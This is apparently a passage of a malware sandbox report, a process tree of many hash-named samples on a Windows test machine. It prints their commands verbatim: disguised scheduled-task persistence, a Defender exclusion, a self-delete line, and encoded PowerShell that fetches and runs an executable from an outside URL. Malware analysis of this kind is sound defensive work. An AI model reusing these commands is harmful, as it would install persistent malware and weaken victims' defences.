    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST & exit
    3⤵
    PID:11300
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3436
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST & exit
    3⤵
    PID:11056
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9308
- - C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
    "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
    3⤵
    - Loads dropped DLL
    PID:6156
- C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
  "C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:5576
- - C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:7288
  - - C:\ProgramData\images.exe
      "C:\ProgramData\images.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:10440
    - - C:\ProgramData\images.exe
        
        C:\ProgramData\images.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:12476
    - - C:\ProgramData\images.exe
        
        C:\ProgramData\images.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6000
- - C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:11080
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe"
      4⤵
      PID:13968
- C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
  "C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious use of SetWindowsHookEx
  PID:3144
- - C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
    "C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:9320
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "TCP Host" /xml "C:\Users\Admin\AppData\Local\Temp\tmp2368.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:11004
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "TCP Host Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp38E5.tmp"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:10672
- C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
  "C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe"
  2⤵
  - Manipulates Digital Signatures
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  PID:13104
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
    3⤵
    - Modifies registry class
    PID:13612
- C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
  "C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:11688
- C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe
  "C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5252
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5252 -s 1820
    3⤵
    - Program crash
    PID:11804
- C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe
  "C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe"
  2⤵
  - Executes dropped EXE
  PID:6944
- C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe
  "C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:7540
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks.exe" /Run /TN "OneDrive Per-Machine Standalone Update Task2"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4656
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C timeout 1 && del "C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8196
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:11532
- C:\Users\Admin\AppData\Local\Temp\f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe
  "C:\Users\Admin\AppData\Local\Temp\f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:11284
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAaQB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBkAGYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeABzAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBpAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBjAGgAcgBpAHMANwA2ADQANQAvAHIAZQBwAG8ALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwBhAC8AUwB0AGUAYQBtAEQAYQB0AGEALgBlAHgAZQAnACwAIAA8ACMAZABqAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHkAegAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHgAeAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB3AGkAbgAzADIALgBlAHgAZQAnACkAKQA8ACMAegB4AGoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgBwAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAZwBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHcAaQBuADMAMgAuAGUAeABlACcAKQA8ACMAZwBnAHoAIwA+AA=="
    3⤵
    - System Location Discovery: System Language Discovery
    PID:11172
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 11172 -s 1632
      4⤵
      Program crash
      PID:5488
- C:\Users\Admin\AppData\Local\Temp\f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe
  "C:\Users\Admin\AppData\Local\Temp\f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe"
  2⤵
  - Executes dropped EXE
  PID:13836
- C:\Users\Admin\AppData\Local\Temp\ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
  "C:\Users\Admin\AppData\Local\Temp\ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetWindowsHookEx
  PID:10236
- C:\Users\Admin\AppData\Local\Temp\dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe
  "C:\Users\Admin\AppData\Local\Temp\dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:13936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Common Files\microsoft shared\ClickToRun\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:960

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Common Files\microsoft shared\ClickToRun\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files\Common Files\microsoft shared\ClickToRun\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1216 -ip 1216
1⤵
PID:11436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b9" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:11560

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:11916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:12912

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x300 0x324
1⤵
PID:13656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 232 -p 11604 -ip 11604
1⤵
PID:13184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b9" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:12260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c7226" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:11496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1216 -ip 1216
1⤵
PID:1940

C:\Program Files\Common Files\microsoft shared\ClickToRun\RuntimeBroker.exe
"C:\Program Files\Common Files\microsoft shared\ClickToRun\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
PID:5092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6448

C:\Recovery\WindowsRE\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
"C:\Recovery\WindowsRE\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"
1⤵
- Executes dropped EXE
PID:9972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1216 -ip 1216
1⤵
PID:8416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c7226" /sc MINUTE /mo 6 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8444

C:\Windows\system32\mshta.exe
mshta
1⤵
PID:11748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad5" /sc MINUTE /mo 9 /tr "'C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:10412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1216 -ip 1216
1⤵
PID:9928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5252 -ip 5252
1⤵
PID:2160

C:\Windows\system32\mshta.EXE
"C:\Windows\system32\mshta.EXE" "javascript:new ActiveXObject('Shell.Application').ShellExecute('powershell', '-Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==\')))', '', '', 0);close();"
1⤵
PID:8508
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==')))
  2⤵
  PID:2956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad" /sc ONLOGON /tr "'C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:13940

C:\Program Files\Mozilla Firefox\gmp-clearkey\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
"C:\Program Files\Mozilla Firefox\gmp-clearkey\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"
1⤵
- Executes dropped EXE
PID:10084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad5" /sc MINUTE /mo 7 /tr "'C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:12492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1216 -ip 1216
1⤵
PID:6512

C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
1⤵
- System Location Discovery: System Language Discovery
PID:14132
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
  2⤵
  PID:13868
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp85BC.tmp"
  2⤵
  PID:8416
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:6080
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:6320
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
    3⤵
    PID:6288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 7 /tr "'C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:3304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:11708

C:\Windows\vkl.exe
"C:\Windows\vkl.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:6424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1216 -ip 1216
1⤵
PID:13604

C:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exe
C:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exe
1⤵
PID:6928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:7052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1216 -ip 1216
1⤵
PID:4696

C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
"C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"
1⤵
- Loads dropped DLL
PID:11412

C:\Users\Admin\AppData\Local\Temp\test.exe
C:\Users\Admin\AppData\Local\Temp\test.exe
1⤵
- Loads dropped DLL
PID:13424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:10552

C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe
"C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe"
1⤵
- Loads dropped DLL
PID:7796

C:\Program Files (x86)\TCP Host\tcphost.exe
"C:\Program Files (x86)\TCP Host\tcphost.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:6824
- C:\Program Files (x86)\TCP Host\tcphost.exe
  "C:\Program Files (x86)\TCP Host\tcphost.exe"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  PID:6828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:5260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1216 -ip 1216
1⤵
PID:1604

C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:9904
- C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
  "C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
  2⤵
  PID:5280

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
1⤵
- Loads dropped DLL
PID:11220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
PID:11956

C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe
C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe
1⤵
- System Location Discovery: System Language Discovery
PID:5556
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"
  2⤵
  PID:1544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1216 -ip 1216
1⤵
PID:6564

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe
1⤵
- System Location Discovery: System Language Discovery
PID:1948

C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
1⤵
- Loads dropped DLL
PID:6964

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
1⤵
PID:7852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1216 -ip 1216
1⤵
PID:11312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:10668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Security\BrowserCore\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:11836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db494" /sc MINUTE /mo 7 /tr "'C:\Windows\Globalization\Time Zone\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49" /sc ONLOGON /tr "'C:\Windows\Globalization\Time Zone\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db494" /sc MINUTE /mo 10 /tr "'C:\Windows\Globalization\Time Zone\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:10792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9992 -ip 9992
1⤵
PID:13244

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:5540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 9992 -ip 9992
1⤵
PID:5244

C:\Program Files\Windows Security\BrowserCore\conhost.exe
"C:\Program Files\Windows Security\BrowserCore\conhost.exe"
1⤵
PID:13428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 11172 -ip 11172
1⤵
PID:12212

C:\Windows\Globalization\Time Zone\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
"C:\Windows\Globalization\Time Zone\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"
1⤵
PID:9176

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
